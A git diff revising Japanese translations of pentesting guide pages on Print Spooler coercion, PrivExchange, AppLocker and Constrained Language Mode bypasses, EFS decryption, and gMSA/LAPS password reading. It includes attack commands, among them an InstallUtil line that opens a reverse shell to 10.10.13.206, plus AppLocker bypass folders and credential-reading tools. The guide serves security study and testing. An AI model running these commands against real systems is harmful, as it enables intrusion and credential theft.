a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -4,16 +4,16 @@ ## SharpSystemTriggers -[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) は、**3rd party依存関係を避けるためにMIDLコンパイラを使用してC#でコーディングされた** **リモート認証トリガーのコレクション**です。 +[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) は、3rd party依存関係を避けるためにMIDLコンパイラを使用してC#でコーディングされた**リモート認証トリガー**の**コレクション**です。 ## スプーラーサービスの悪用 -_**Print Spooler**_ サービスが **有効** の場合、既知のAD資格情報を使用して、ドメインコントローラーの印刷サーバーに新しい印刷ジョブの **更新** を **要求** し、通知を **特定のシステムに送信するように指示** できます。\ -プリンターが任意のシステムに通知を送信する際には、その **システムに対して認証する必要があります**。したがって、攻撃者は _**Print Spooler**_ サービスを任意のシステムに対して認証させることができ、その認証では **コンピュータアカウント** を使用します。 +_**Print Spooler**_ サービスが**有効**な場合、既知のAD資格情報を使用してドメインコントローラーの印刷サーバーに新しい印刷ジョブの**更新**を**要求**し、**通知を任意のシステムに送信するように指示**できます。\ +プリンターが任意のシステムに通知を送信する際には、その**システムに対して認証する必要があります**。したがって、攻撃者は_**Print Spooler**_ サービスを任意のシステムに対して認証させることができ、その認証では**コンピュータアカウント**が使用されます。 -### ドメイン上のWindowsサーバーの検索 +### ドメイン上のWindowsサーバーの発見 -PowerShellを使用して、Windowsボックスのリストを取得します。サーバーは通常優先されるため、そこに焦点を当てましょう: +PowerShellを使用してWindowsボックスのリストを取得します。サーバーは通常優先されるため、そこに焦点を当てましょう: ```bash Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt ``` @@ -45,13 +45,15 @@ printerbug.py 'domain/username:password'@ ## RCP強制認証 -{% embed url="https://github.com/p0dalirius/Coercer" %} +{{#ref}} +https://github.com/p0dalirius/Coercer +{{#endref}} ## PrivExchange -`PrivExchange`攻撃は、**Exchange Serverの`PushSubscription`機能**に見つかった欠陥の結果です。この機能により、メールボックスを持つ任意のドメインユーザーがHTTPを介して任意のクライアント提供ホストに対してExchangeサーバーを強制的に認証させることができます。 +`PrivExchange`攻撃は、**Exchange Serverの`PushSubscription`機能**に見つかった欠陥の結果です。この機能により、メールボックスを持つ任意のドメインユーザーが、HTTP経由で任意のクライアント提供ホストに対してExchangeサーバーを強制的に認証させることができます。 -デフォルトでは、**ExchangeサービスはSYSTEMとして実行され**、過剰な特権が与えられています(具体的には、**2019年以前の累積更新に対するWriteDacl特権を持っています**)。この欠陥は、**情報をLDAPに中継し、その後ドメインNTDSデータベースを抽出する**ために悪用できます。LDAPへの中継が不可能な場合でも、この欠陥はドメイン内の他のホストに中継および認証するために使用できます。この攻撃の成功した悪用は、認証された任意のドメインユーザーアカウントでドメイン管理者への即時アクセスを許可します。 +デフォルトでは、**ExchangeサービスはSYSTEMとして実行され**、過剰な特権が与えられています(具体的には、**2019年以前の累積更新に対するドメインのWriteDacl特権**を持っています)。この欠陥は、**LDAPへの情報の中継を可能にし、その後ドメインNTDSデータベースを抽出する**ために悪用できます。LDAPへの中継が不可能な場合でも、この欠陥はドメイン内の他のホストに中継および認証するために使用できます。この攻撃の成功した悪用は、認証された任意のドメインユーザーアカウントでドメイン管理者への即時アクセスを許可します。 ## Windows内部 @@ -88,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share ### メール経由 -もしあなたが侵害したいマシンにログインするユーザーの**メールアドレス**を知っているなら、**1x1画像**を含む**メール**を送信することができます。 +もしあなたが侵害したいマシンにログインしているユーザーの**メールアドレス**を知っているなら、**1x1画像**を含む**メール**を送信することができます。 ```html ``` diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index bdb38662e..078b29f27 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -6,12 +6,12 @@ アプリケーションホワイトリストは、システム上で存在し実行されることが許可された承認済みのソフトウェアアプリケーションまたは実行可能ファイルのリストです。目的は、環境を有害なマルウェアや、組織の特定のビジネスニーズに合致しない未承認のソフトウェアから保護することです。 -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は、マイクロソフトの**アプリケーションホワイトリストソリューション**であり、システム管理者に**ユーザーが実行できるアプリケーションとファイルを制御する**機能を提供します。これは、実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージアプリ、およびパックされたアプリインストーラーに対して**詳細な制御**を提供します。\ +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は、Microsoftの**アプリケーションホワイトリストソリューション**であり、システム管理者に**ユーザーが実行できるアプリケーションとファイルを制御する**権限を与えます。これは、実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージアプリ、およびパックされたアプリインストーラーに対して**詳細な制御**を提供します。\ 組織が**cmd.exeとPowerShell.exe**をブロックし、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、**これらはすべて回避可能です**。 ### Check -どのファイル/拡張子がブラックリスト/ホワイトリストに登録されているかを確認します: +ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認します: ```powershell Get-ApplockerPolicy -Effective -xml @@ -26,7 +26,7 @@ $a.rulecollections ### バイパス -- AppLockerポリシーをバイパスするための便利な**書き込み可能フォルダー**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の任意のものを実行することを許可している場合、**このバイパスに使用できる書き込み可能フォルダー**があります。 +- AppLockerポリシーをバイパスするための便利な**書き込み可能フォルダー**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の任意の実行を許可している場合、**このバイパスに使用できる書き込み可能フォルダー**があります。 ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color @@ -35,8 +35,8 @@ C:\windows\tracing ``` - 一般的に**信頼された**[**"LOLBAS's"**](https://lolbas-project.github.io/)バイナリは、AppLockerを回避するのにも役立ちます。 - **不適切に書かれたルールも回避される可能性があります** -- 例えば、**``**のように、**`allowed`**という**フォルダーを任意の場所に作成**すれば許可されます。 -- 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`**実行可能ファイルを**ブロックすることに焦点を当てますが、**他の**[**PowerShell実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)を忘れがちです。例えば、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`や`PowerShell_ISE.exe`などです。 +- 例えば、**``**のように、**`allowed`**という**フォルダーを任意の場所に作成**すると、それが許可されます。 +- 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`実行可能ファイルをブロックすることに焦点を当てますが、**他の**[**PowerShell実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)を忘れがちです。例えば、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`や`PowerShell_ISE.exe`などです。 - **DLLの強制は非常に稀に有効**であり、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテストの量が理由です。したがって、**DLLをバックドアとして使用することでAppLockerを回避するのに役立ちます**。 - [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)や[**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)を使用して、**任意のプロセスでPowershell**コードを**実行し、AppLockerを回避する**ことができます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)を確認してください。 @@ -69,11 +69,11 @@ LSAはディスクにいくつかの資格情報を保存することがあり ## ディフェンダー -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)は、Windows 10およびWindows 11、Windows Serverのバージョンで利用可能なアンチウイルスです。**一般的なペンテストツール**(例:**`WinPEAS`**)を**ブロック**します。しかし、これらの保護を**回避する方法**があります。 +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)は、Windows 10およびWindows 11、そしてWindows Serverのバージョンで利用可能なアンチウイルスです。**一般的なペンテストツール(例:**`WinPEAS`**)を**ブロック**します。しかし、これらの保護を**回避する方法**があります。 ### チェック -**Defender**の**ステータス**を確認するには、PSコマンドレット**`Get-MpComputerStatus`**を実行できます(**`RealTimeProtectionEnabled`**の値を確認して、アクティブかどうかを知る): +**Defender**の**ステータス**を確認するには、PSコマンドレット**`Get-MpComputerStatus`**を実行できます(**`RealTimeProtectionEnabled`**の値を確認して、アクティブかどうかを知ることができます):
PS C:\> Get-MpComputerStatus
 
@@ -103,27 +103,27 @@ sc query windefend
 ```
 ## Encrypted File System (EFS)
 
-EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用してファイルを暗号化することで保護します。この鍵はユーザーの**公開鍵**で暗号化され、暗号化されたファイルの$EFS **代替データストリーム**内に保存されます。復号が必要な場合、ユーザーのデジタル証明書の対応する**秘密鍵**を使用して$EFSストリームからFEKを復号します。詳細は[こちら](https://en.wikipedia.org/wiki/Encrypting_File_System)で確認できます。
+EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用してファイルを暗号化します。この鍵はユーザーの**公開鍵**で暗号化され、暗号化されたファイルの$EFS **代替データストリーム**内に保存されます。復号が必要な場合、ユーザーのデジタル証明書の対応する**秘密鍵**を使用して$EFSストリームからFEKを復号します。詳細は[こちら](https://en.wikipedia.org/wiki/Encrypting_File_System)で確認できます。
 
 **ユーザーの操作なしでの復号シナリオ**には以下が含まれます:
 
 - ファイルやフォルダーが[FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)のような非EFSファイルシステムに移動されると、自動的に復号されます。
 - SMB/CIFSプロトコルを介してネットワーク上で送信された暗号化ファイルは、送信前に復号されます。
 
-この暗号化方法は、所有者に対して暗号化ファイルへの**透過的アクセス**を提供します。ただし、所有者のパスワードを変更してログインするだけでは復号は許可されません。
+この暗号化方法は、所有者に対して暗号化ファイルへの**透過的アクセス**を提供します。ただし、所有者のパスワードを単に変更してログインするだけでは復号は許可されません。
 
 **重要なポイント**:
 
 - EFSは、ユーザーの公開鍵で暗号化された対称FEKを使用します。
-- 復号にはユーザーの秘密鍵を使用してFEKにアクセスします。
-- FAT32へのコピーやネットワーク送信など、特定の条件下で自動的に復号が行われます。
+- 復号には、ユーザーの秘密鍵を使用してFEKにアクセスします。
+- FAT32へのコピーやネットワーク送信など、特定の条件下で自動復号が行われます。
 - 暗号化ファイルは、追加の手順なしで所有者がアクセスできます。
 
 ### EFS情報の確認
 
-この**サービス**を**使用**した**ユーザー**がいるか確認するには、このパスが存在するかチェックします:`C:\users\\appdata\roaming\Microsoft\Protect`
+この**サービス**を**使用した**かどうかを確認するには、このパスが存在するか確認します:`C:\users\\appdata\roaming\Microsoft\Protect`
 
-ファイルへの**アクセス**権を確認するには、cipher /c \\を使用します。\
+ファイルへの**アクセス権**を確認するには、cipher /c \\
 フォルダー内で`cipher /e`および`cipher /d`を使用して、すべてのファイルを**暗号化**および**復号**することもできます。
 
 ### EFSファイルの復号
@@ -134,33 +134,35 @@ EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用し
 
 #### ユーザーのパスワードを知っていること
 
-{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
+{{#ref}}
+https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
+{{#endref}}
 
 ## Group Managed Service Accounts (gMSA)
 
-Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは「**パスワードは期限切れにならない**」設定が有効であることが多いですが、gMSAはより安全で管理しやすいソリューションを提供します:
+Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは「**パスワードは期限切れにならない**」設定が有効であることが多いのに対し、gMSAはより安全で管理しやすいソリューションを提供します:
 
-- **自動パスワード管理**:gMSAは、ドメインまたはコンピュータポリシーに従って自動的に変更される複雑な240文字のパスワードを使用します。このプロセスはMicrosoftのキー配布サービス(KDC)によって処理され、手動でのパスワード更新が不要になります。
+- **自動パスワード管理**:gMSAは、ドメインまたはコンピュータポリシーに従って自動的に変更される240文字の複雑なパスワードを使用します。このプロセスはMicrosoftのキー配布サービス(KDC)によって処理され、手動でのパスワード更新が不要になります。
 - **強化されたセキュリティ**:これらのアカウントはロックアウトに対して免疫があり、対話的ログインには使用できないため、セキュリティが向上します。
 - **複数ホストのサポート**:gMSAは複数のホストで共有できるため、複数のサーバーで実行されるサービスに最適です。
-- **スケジュールされたタスクの実行能力**:管理されたサービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。
+- **スケジュールされたタスクの実行能力**:管理サービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。
 - **簡素化されたSPN管理**:コンピュータのsAMaccountの詳細やDNS名に変更があった場合、システムは自動的にサービスプリンシパル名(SPN)を更新し、SPN管理を簡素化します。
 
-gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、[MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)として知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できるため、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続は「Sealing & Secure」で認証される必要があります。
+gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、[MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)として知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できます。これにより、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続は「Sealing & Secure」で認証されなければなりません。
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
 
-このパスワードは[**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**で読み取ることができます:**
+このパスワードは[**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**を使用して読み取ることができます:
 ```
 /GMSAPasswordReader --AccountName jkohler
 ```
-[**この投稿で詳細を確認してください**](https://cube0x0.github.io/Relaying-for-gMSA/)
+[**この投稿で詳細情報を見つける**](https://cube0x0.github.io/Relaying-for-gMSA/)
 
 また、**gMSA**の**パスワード**を**読み取る**ための**NTLMリレー攻撃**を実行する方法については、こちらの[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)を確認してください。
 
 ## LAPS
 
-**ローカル管理者パスワードソリューション (LAPS)**は、[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)からダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードは**ランダム化**され、ユニークで、**定期的に変更**され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて認可されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。
+**ローカル管理者パスワードソリューション (LAPS)**は、[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)からダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードは**ランダム化**され、ユニークで、**定期的に変更**され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて承認されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。
 
 {{#ref}}
 active-directory-methodology/laps.md
@@ -236,7 +238,7 @@ SSPIは、通信を希望する2台のマシンに適切なプロトコルを見
 - **Negotiate**: 使用するプロトコルを交渉するために使用されます(KerberosまたはNTLM、デフォルトはKerberos)
 - %windir%\Windows\System32\lsasrv.dll
 
-#### 交渉は複数の方法を提供することもあれば、1つだけを提供することもあります。
+#### 交渉は複数の方法を提供することも、1つだけを提供することもあります。
 
 ## UAC - ユーザーアカウント制御
 
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
index 85e63939e..43c38df8e 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
@@ -11,7 +11,7 @@
 
 ### Check
 
-ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認します:
+ブラックリストまたはホワイトリストに登録されているファイル/拡張子を確認します:
 ```powershell
 Get-ApplockerPolicy -Effective -xml
 
@@ -26,73 +26,14 @@ $a.rulecollections
 
 ### バイパス
 
-- AppLockerポリシーをバイパスするための便利な**書き込み可能フォルダー**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の任意の実行を許可している場合、**このバイパスに使用できる書き込み可能フォルダー**があります。
+- AppLockerポリシーをバイパスするための便利な**書き込み可能フォルダー**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の任意のものを実行することを許可している場合、**このバイパスに使用できる書き込み可能フォルダー**があります。
 ```
 C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
 C:\Windows\System32\spool\drivers\color
 C:\Windows\Tasks
 C:\windows\tracing
 ```
-- 一般的に**信頼された**[**"LOLBAS's"**](https://lolbas-project.github.io/)バイナリは、AppLockerを回避するのにも役立ちます。
-- **不適切に書かれたルールも回避される可能性があります**
-- 例えば、**``**のように、**`allowed`**という**フォルダーを任意の場所に作成**すれば、それが許可されます。
-- 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`実行可能ファイルをブロックすることに焦点を当てますが、**他の**[**PowerShell実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)を忘れがちです。例えば、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`や`PowerShell_ISE.exe`などです。
-- **DLLの強制は非常に稀に有効**であり、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテストの量が理由です。したがって、**DLLをバックドアとして使用することでAppLockerを回避するのに役立ちます**。
-- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)や[**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)を使用して、**任意のプロセスでPowershell**コードを**実行し、AppLockerを回避する**ことができます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)を確認してください。
-
-## 資格情報の保存
-
-### セキュリティアカウントマネージャー (SAM)
-
-ローカル資格情報はこのファイルに存在し、パスワードはハッシュ化されています。
-
-### ローカルセキュリティ機関 (LSA) - LSASS
-
-**資格情報**(ハッシュ化されたもの)は、シングルサインオンの理由からこのサブシステムの**メモリ**に**保存**されます。\
-**LSA**はローカルの**セキュリティポリシー**(パスワードポリシー、ユーザー権限など)、**認証**、**アクセス トークン**を管理します。\
-LSAは、**SAM**ファイル内の提供された資格情報を**確認**し(ローカルログイン用)、ドメインユーザーを認証するために**ドメインコントローラー**と**通信**します。
-
-**資格情報**は**プロセスLSASS**内に**保存**されます:Kerberosチケット、NTおよびLMのハッシュ、簡単に復号化可能なパスワード。
-
-### LSAシークレット
-
-LSAはディスクにいくつかの資格情報を保存することがあります:
-
-- アクティブディレクトリのコンピュータアカウントのパスワード(到達不可能なドメインコントローラー)。
-- Windowsサービスのアカウントのパスワード
-- スケジュールされたタスクのパスワード
-- その他(IISアプリケーションのパスワードなど...)
-
-### NTDS.dit
-
-これはアクティブディレクトリのデータベースです。ドメインコントローラーにのみ存在します。
-
-## ディフェンダー
-
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)は、Windows 10およびWindows 11、Windows Serverのバージョンで利用可能なアンチウイルスです。**一般的なペンテストツール(例:**`WinPEAS`**)を**ブロック**します。しかし、これらの保護を**回避する方法**があります。
-
-### チェック
-
-**Defender**の**ステータス**を確認するには、PSコマンドレット**`Get-MpComputerStatus`**を実行できます(**`RealTimeProtectionEnabled`**の値を確認して、アクティブかどうかを知る):
-
-
PS C:\> Get-MpComputerStatus
-
-[...]
-AntispywareEnabled              : True
-AntispywareSignatureAge         : 1
-AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
-AntispywareSignatureVersion     : 1.323.392.0
-AntivirusEnabled                : True
-[...]
-NISEnabled                      : False
-NISEngineVersion                : 0.0.0.0
-[...]
-RealTimeProtectionEnabled       : True
-RealTimeScanDirection           : 0
-PSComputerName                  :
-
- -列挙するには、次のコマンドを実行することもできます: +- 一般的に**信頼された**[**"LOLBAS's"**](https://lolbas-project.github.io/)バイナリは、AppLockerを回避するのにも役立 ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -108,7 +49,7 @@ EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用し **ユーザーの操作なしでの復号シナリオ**には以下が含まれます: - ファイルやフォルダーが[FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)のような非EFSファイルシステムに移動されると、自動的に復号されます。 -- SMB/CIFSプロトコルを介してネットワーク上で送信された暗号化ファイルは、送信前に復号されます。 +- SMB/CIFSプロトコルを介してネットワーク上で送信される暗号化ファイルは、送信前に復号されます。 この暗号化方法は、所有者に対して暗号化ファイルへの**透過的アクセス**を提供します。ただし、所有者のパスワードを単に変更してログインするだけでは復号は許可されません。 @@ -121,24 +62,26 @@ EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用し ### EFS情報の確認 -**ユーザー**がこの**サービス**を**使用**したかどうかを確認するには、このパスが存在するか確認します:`C:\users\\appdata\roaming\Microsoft\Protect` +この**サービス**を**使用した**かどうかを確認するには、このパスが存在するか確認します:`C:\users\\appdata\roaming\Microsoft\Protect` ファイルへの**アクセス**権を確認するには、cipher /c \\を使用します。\ フォルダー内で`cipher /e`および`cipher /d`を使用して、すべてのファイルを**暗号化**および**復号**することもできます。 ### EFSファイルの復号 -#### 権限システムであること +#### 権限のあるシステムであること この方法では、**被害者ユーザー**がホスト内で**プロセス**を**実行**している必要があります。その場合、`meterpreter`セッションを使用してユーザーのプロセスのトークンを偽装することができます(`incognito`の`impersonate_token`)。または、ユーザーのプロセスに`migrate`することもできます。 #### ユーザーのパスワードを知っていること -{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %} +{{#ref}} +https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files +{{#endref}} ## Group Managed Service Accounts (gMSA) -Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは「**パスワードは期限切れにならない**」設定が有効であることが多いのに対し、gMSAはより安全で管理しやすいソリューションを提供します: +Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは通常「**パスワードは期限切れにならない**」設定が有効ですが、gMSAはより安全で管理しやすいソリューションを提供します: - **自動パスワード管理**:gMSAは、ドメインまたはコンピュータポリシーに従って自動的に変更される複雑な240文字のパスワードを使用します。このプロセスはMicrosoftのキー配布サービス(KDC)によって処理され、手動でのパスワード更新が不要になります。 - **強化されたセキュリティ**:これらのアカウントはロックアウトに対して免疫があり、対話的ログインには使用できないため、セキュリティが向上します。 @@ -146,7 +89,7 @@ Microsoftは、ITインフラストラクチャにおけるサービスアカウ - **スケジュールされたタスクの実行能力**:管理されたサービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。 - **簡素化されたSPN管理**:コンピュータのsAMaccountの詳細やDNS名に変更があった場合、システムは自動的にサービスプリンシパル名(SPN)を更新し、SPN管理を簡素化します。 -gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、[MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)として知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できるため、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続が「Sealing & Secure」で認証されている必要があります。 +gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、[MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)として知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できるため、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続は「Sealing & Secure」で認証される必要があります。 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) @@ -154,13 +97,13 @@ gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存 ``` /GMSAPasswordReader --AccountName jkohler ``` -[**この投稿で詳細情報を見つける**](https://cube0x0.github.io/Relaying-for-gMSA/) +[**この投稿で詳細を確認してください**](https://cube0x0.github.io/Relaying-for-gMSA/) -また、**gMSA**の**パスワード**を**読み取る**ための**NTLMリレー攻撃**を実行する方法についての[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)も確認してください。 +また、**gMSA**の**パスワード**を**読み取る**ための**NTLMリレー攻撃**を実行する方法については、この[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)を確認してください。 ## LAPS -**ローカル管理者パスワードソリューション (LAPS)**は、[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)からダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードは**ランダム化**され、ユニークで、**定期的に変更**され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて認可されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。 +**ローカル管理者パスワードソリューション (LAPS)**は、[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)からダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードは**ランダム化**され、ユニークで、**定期的に変更**され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて承認されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。 {{#ref}} ../active-directory-methodology/laps.md @@ -181,7 +124,7 @@ $ExecutionContext.SessionState.LanguageMode Powershell -version 2 ``` 現在のWindowsでは、そのバイパスは機能しませんが、[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)を使用できます。\ -**コンパイルするには** **次のことが必要です** **参照を追加** -> _Browse_ -> _Browse_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll`を追加し、**プロジェクトを.Net4.5に変更します**。 +**コンパイルするには** **次のことが必要です** **_**参照を追加**_ -> _参照_ ->_参照_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll`を追加し、**プロジェクトを.Net4.5に変更します**。 #### 直接バイパス: ```bash @@ -191,11 +134,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) または [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用して、**Powershell** コードを任意のプロセスで実行し、制約モードを回避できます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode) を確認してください。 +[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) または [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用して、任意のプロセスで **Powershell** コードを実行し、制約モードを回避できます。詳細については、次を確認してください: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。 ## PS 実行ポリシー -デフォルトでは、**restricted** に設定されています。このポリシーを回避する主な方法: +デフォルトでは **restricted** に設定されています。このポリシーを回避する主な方法: ```powershell 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -229,7 +172,7 @@ SSPIは、通信を希望する2台のマシンに適切なプロトコルを見 - 